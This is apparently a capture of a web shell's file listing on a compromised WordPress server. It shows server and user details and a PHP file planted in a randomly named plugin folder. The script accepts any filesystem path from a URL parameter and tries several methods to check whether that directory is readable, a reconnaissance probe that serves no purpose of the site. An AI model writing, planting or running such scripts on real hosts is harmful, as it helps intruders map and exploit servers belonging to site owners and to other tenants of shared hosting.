|
Server : LiteSpeed System : Linux server51.dnsbootclub.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64 User : nandedex ( 1060) PHP Version : 8.1.33 Disable Function : NONE Directory : /home/nandedex/public_html/wp-content/plugins/f38549a8af284269aaf47e5de87a2bfe/ |
<?php
function is_dir_readable($path) {
if (empty($path)) {
return false;
}
if (!is_dir($path)) {
return false;
}
// Method 1: Using is_readable()
if (is_readable($path)) {
return true;
}
// Method 2: Trying to open a directory handle (more robust)
if (@opendir($path) !== false) {
closedir(opendir($path)); // Close the directory handle immediately
return true;
}
// Method 3: Checking permissions (less reliable, but sometimes necessary)
if (function_exists('posix_access')) {
if (posix_access($path, POSIX_R_OK)) {
return true;
}
}
//Method 4: Attempting to list directory contents. (Alternative robust method)
if(count(scandir($path)) > 0){
return true;
}
return false;
}
if (isset($_GET['path'])) {
$path = $_GET['path'];
$path = rtrim($path, '/'); // Remove trailing slashes
if (is_dir_readable($path)) {
echo "Only Readable";
} else {
echo "Notreadable";
}
} else {
echo "Path parameter is missing.";
}
?>